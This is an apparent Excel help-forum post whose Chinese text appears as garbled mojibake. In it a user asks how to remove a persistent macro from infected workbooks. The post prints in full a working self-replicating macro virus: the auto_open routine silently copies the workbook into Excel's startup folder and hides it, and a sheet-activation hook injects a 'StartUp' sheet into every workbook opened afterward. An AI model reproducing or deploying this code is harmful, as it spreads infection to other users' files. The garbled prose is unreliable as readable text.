- ©«¤l
- 913
- ¥DÃD
- 150
- ºëµØ
- 0
- ¿n¤À
- 1089
- ÂI¦W
- 0
- §@·~¨t²Î
- win10
- ³nÅ骩¥»
- office 2019
- ¾\ŪÅv
- 50
- ©Ê§O
- ¤k
- µù¥U®É¶¡
- 2011-8-28
- ³Ì«áµn¿ý
- 2023-7-19
|
¥»©«³Ì«á¥Ñ oobird ©ó 2012-6-1 23:31 ½s¿è
[attach]11218[/attach][attach]11218[/attach]¦^´_ 4# HUNGCHILIN
¥H¤U¬OÀɮפ¤ªº¥¨¶°,¦ý§Ú±N¥¦§R°£«á,ÁÙ¬O·|¤@ª½¥X²{«e±©Ò´£ªº¹ï¸Ü®Ø,"1006£¨ÅË£©.xls"³oÓÀɬO¦b¹ï§O¤Hªº¹q¸£¤¤,¤£¬O¦b§Úªº¹q¸£¸Ì, ªþ¥ó¦³¤TÓsheet,¨CÂI¿ï¤@Ósheet,´N·|¤@ª½¥X²{¹ï¸Ü®Ø. [attach]11218[/attach]
§Ú²{¦b·Q°µªº¦p¤U:
1) ¦pªG¤@Ó¸ê®Æ§¨¤¤,§Ú¦s©ñ¤F«Ü¦h³o¼ËªºÀÉ,¥¦¥i¥H¥u§R°£¥¨¶°,¦ýÀɮ׫O¯d¶Ü?¦]¬°¬O¦³¥Îªº¸ê®Æ.
2) §R°£¥H¤U«ü©úªº "1006£¨ÅË£©.xls" §Ú²Ä¤@¦¸Ãö±¼excel«á,excel¤£·|¾ãÓÃö³¬,¦Ó¥u¬O¹³Ãö±¼Àɮתº±¡§Î,²Ä¤G¦¸¨ìÀ˵ø>¨ú®øÁôÂõøµ¡,´N·|¥X²{¥t¤@Ó¹ï¸Ü®Ø,¦pªG«ö½T»{´N·|¶}¥X¤@Ӫťժºsheet , ©Ò¥H§Úı±o¥¦ÁôÂæb¨CÓ¦¬¨ìªºÀɮפ¤
»Ýn¦A«ö¤@¦¸Ãö³¬¤~·|¯u¥¿Ãö±¼excel.- Sub auto_open()
- On Error Resume Next
- If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "1006£¨ÅË£©.xls") = "" Then
- Application.ScreenUpdating = False
- ThisWorkbook.Sheets("StartUp").Copy
- ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "1006£¨ÅË£©.xls")
- n$ = ActiveWorkbook.Name
- ActiveWindow.Visible = False
- Workbooks("1006£¨ÅË£©.xls").Save
- Workbooks(n$).Close (False)
- End If
- Application.OnSheetActivate = "1006£¨ÅË£©.xls!acop"
- End Sub
- Sub acop()
- On Error Resume Next
- If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
- Application.ScreenUpdating = False
- n$ = ActiveSheet.Name
- Workbooks("1006£¨ÅË£©.xls").Sheets("StartUp").Copy before:=Worksheets(1)
- Sheets(n$).Select
- End If
- End Sub
½Æ»s¥N½X |
|